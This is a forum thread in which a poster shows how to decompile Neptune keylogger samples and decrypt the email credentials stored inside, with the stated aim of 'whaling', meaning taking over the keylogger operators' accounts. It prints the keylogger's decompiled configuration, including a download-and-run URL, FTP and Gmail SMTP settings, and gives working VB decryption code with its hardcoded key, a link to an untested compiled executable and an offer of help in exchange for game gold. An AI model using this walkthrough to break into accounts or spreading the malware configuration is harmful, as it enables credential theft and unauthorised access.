[Endax]

Go to my youtube channel for video's on whaling and other topics: http://www.youtube.com/EndaxTV

Now I say majority, this is how to decrypt Neptune keylogger which is used by the majority of people, if when you open it up in.Net Reflector inside your .cctor() is something like:

Code

Shared Sub New()
    Module1.Didec = True
    Module1.DnEIL = False
    Module1.ZOiYP = False
    Module1.LYmTkXb = False
    Module1.CagcorG = False
    Module1.bvPJyen = False
    Module1.kkzEHyX = "10"
    Module1.PcnIVJu = "C:\Windows\Microsoft.NET\assembly"
    Module1.gHhsmFC = 1
    Module1.DYMVsnR = "VfDj"
    Module1.ZZYdzHO = "CurrentUser"
    Module1.QfYIpsN = "lBhoHP"
    Module1.rSbnQjP = "cvPidSxHIG"
    Module1.jHqBHDPfu = "iexplorer.exe"
    Module1.SDDate = "+SDDate+"
    Module1.TakeScrns = False
    Module1.Message = New String() { "+MsgFalse+", "+MsgMsg+", "+Ico+" }
    Module1.Delay = "+DelOff+"
    Module1.FRMsg = False
    Module1.NoEL = False
    Module1.SSTime = False
    Module1.SSInt = "10"
    Module1.emcIDECHr = False
    Module1.nRvtbQkbS = "http://www.exampleserver.com/directfile.exe"
    Module1.uOtSjvjhb = False
    Module1.BXYhFmQfM = "setup.exe"
    Module1.ZXzhykoPo = True
    Module1.QpBuNwTDO = False
    Module1.GjlSYrzpV = "LHs1gVoZGRA="
    Module1.NTPbrsOQZ = "ftp.exampleserver.com"
    Module1.lCrumLoTR = "LHs1gVoZGRA="
    Module1.OOpxKmGlK = "/"
    Module1.yQeznwVQ = "smtp.gmail.com"
    Module1.rrqvSZgL = "7wPhoTI0TvUSRFTyNIuY0bDFER1pKlUw"
    Module1.fQxzVxCQ = "Iz18IC6KlfM="
    Module1.RkQoGgGR = "[email protected]"
    Module1.WnDKMVsn = "587"
    Module1.LMKPzHOe = "----[ ~~----[ ~~]----"
    Module1.wucRlbSg = "----[ ~~]----"
    Module1.cdbgRKRv = True
    Module1.RBwlGvmB = True
    Module1.JpItxXLJ = True
    Module1.VYnJK = True
    Module1.KeyboardHandle = IntPtr.Zero
    Module1.LastCheckedForegroundTitle = ""
    Module1.callback = Nothing
End Sub

Then we can decrypt it using this method.

In this case

Code

Module1.rrqvSZgL = "7wPhoTI0TvUSRFTyNIuY0bDFER1pKlUw"

is the email.

And

Code

Module1.fQxzVxCQ = "Iz18IC6KlfM="

is the password.

Heres the full vb code you need two text boxes and a button, put the variable in text box one click the button it appears in text box 2.

Code

Imports System
Imports System.IO
Imports System.Security
Imports System.Security.Cryptography
Imports System.Text
Imports Microsoft.VisualBasic.CompilerServices.NewLateBinding

Public Class Form1

    Public Shared Function TripleDESDecode(ByVal value As String, ByVal key As String) As String
  Try
    Dim provider As New TripleDESCryptoServiceProvider
    provider.IV = New Byte(8 - 1) {}
    provider.Key = New PasswordDeriveBytes(key, New Byte(0 - 1) {}).CryptDeriveKey("RC2", "MD5", &H80, New Byte(8 - 1) {})
    Dim buffer As Byte() = Convert.FromBase64String(value)
    Dim stream2 As New MemoryStream(value.Length)
    Dim stream As New CryptoStream(stream2, provider.CreateDecryptor, CryptoStreamMode.Write)
    stream.Write(buffer, 0, buffer.Length)
    stream.FlushFinalBlock()
    Dim buffer2 As Byte() = New Byte((CInt((stream2.Length - 1)) + 1) - 1) {}
    stream2.Position = 0
    stream2.Read(buffer2, 0, CInt(stream2.Length))
    stream.Close()
    Return Encoding.UTF8.GetString(buffer2)
  Catch
    Return "Error"
  End Try
    End Function

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  TextBox3.Text = TripleDESDecode(TextBox1.Text, "System.Net")
    End Sub

End Class

Alternatively use my program that I've already compiled:
http://uppit.com/k5rv7f0vyv3o/Decryptor.exe

[img]http://img593.imageshack.us/img593/3350/decy.jpg[/img]

This isn't against the rules as this can be used to decrypt any neptune keylogger and isn't about rs hacking, it's purely in this forum as it will shut up some of the people asking.

Further help can be given in return for rsgp.

Virus Scan:
http://www.virustotal.com/file-scan/repo...1297121903

Link to .Net Reflector:
http://www.red-gate.com/products/dotnet-...reflector/

[Haruhi Suzumiya.]

Wrong forum.
But a good tutorial.

[BroChillFlow]

Virus scans are nice....If you want people to use your tool.

[CharlieSheen]

Can you please post a virus scan of the program?

[Endax]

Wrong forum.
But a good tutorial.

I know it is, I'll get it moved soon, I specifically put it here for the noobs pressing F5 to try and get something like this.

[ComputerNerd]

Is this program a virus? Will someone please scan? Thx :)

[dylanups]

Most if not all the whales are already cleaned out but ill try this

do you have a download for .net reflector?

[efkariux]

What can I say.. THANK YOU!! <3

[BMO”]

jw what is the dubs email then if that one is the actual email?

download for net reflector google didnt turn up anything

[JessT]

Im wondering the exact same thing lol

[Lith]

This is so fucking win. If it works.

[Endax]

Shut the fuck up about virus's, I posted the source code for god's sake, I'll do an AV scan now.

[BroChillFlow]

http://www.virustotal.com/file-scan/repo...1297121903

virus scan.

And another:

http://vscan.novirusthanks.org/analysis/...yLWV4ZQ==/

It's clean.

[efkariux]

http://www.virustotal.com/file-scan/repo...1297121903

virus scan.

Thank you for scanning :)

[BMO”]

tool is epic works like a charm